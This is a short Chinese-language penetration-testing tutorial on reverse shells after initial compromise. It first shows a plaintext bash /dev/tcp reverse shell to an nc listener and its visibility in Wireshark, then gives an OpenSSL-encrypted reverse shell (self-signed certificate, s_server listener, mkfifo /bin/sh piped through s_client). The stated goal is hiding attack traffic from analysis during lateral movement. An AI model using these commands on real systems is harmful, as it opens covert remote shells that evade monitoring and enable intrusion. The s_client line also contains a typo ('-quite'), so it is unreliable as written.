简介
在进行后渗透阶段的时候通常为了进一步横向操作往往需要反弹 shell,但是反弹 shell 方式都有一个缺点,流量是以明文方式进行传输的。进行流量分析的话就会很快被发现,如果对攻击流量进行溯源分析,检测带有攻击的特征,就可以复现攻击过程。
实验环境
kali:192.168.95.128
centos:192.168.95.147
Wireshark抓包
在kali上使用nc监听一个端口
nc -lvvp 4444
将centos的shell反弹过去
bash -i >& /dev/tcp/192.168.95.128/4444 0>&1
使用wireshark抓取流量包,反弹回来shell后执行一些命令
可以右键追踪tcp流查看到详细信息
使用wireshark抓包直接看到输入的命令和返回信息
OpenSSL反弹加密shell
OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。
在服务端使用openssl命令生成一个自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
证书信息可以输入可以不输入
在服务端使用openssl命令监听一个端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
在客户端目标主机上使用命令执行反弹
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.95.128:4444>/tmp/s;rm /tmp/s
使用wireshark抓取流量包,收到反弹回来的shell后执行一些命令
再查看wireshark抓取到的流量包,已经进行了加密
服务端和客户端在使用 TLSv1.2 协议进行加密通信。
结语
苦都吃了,如果还没长大,就吃亏了。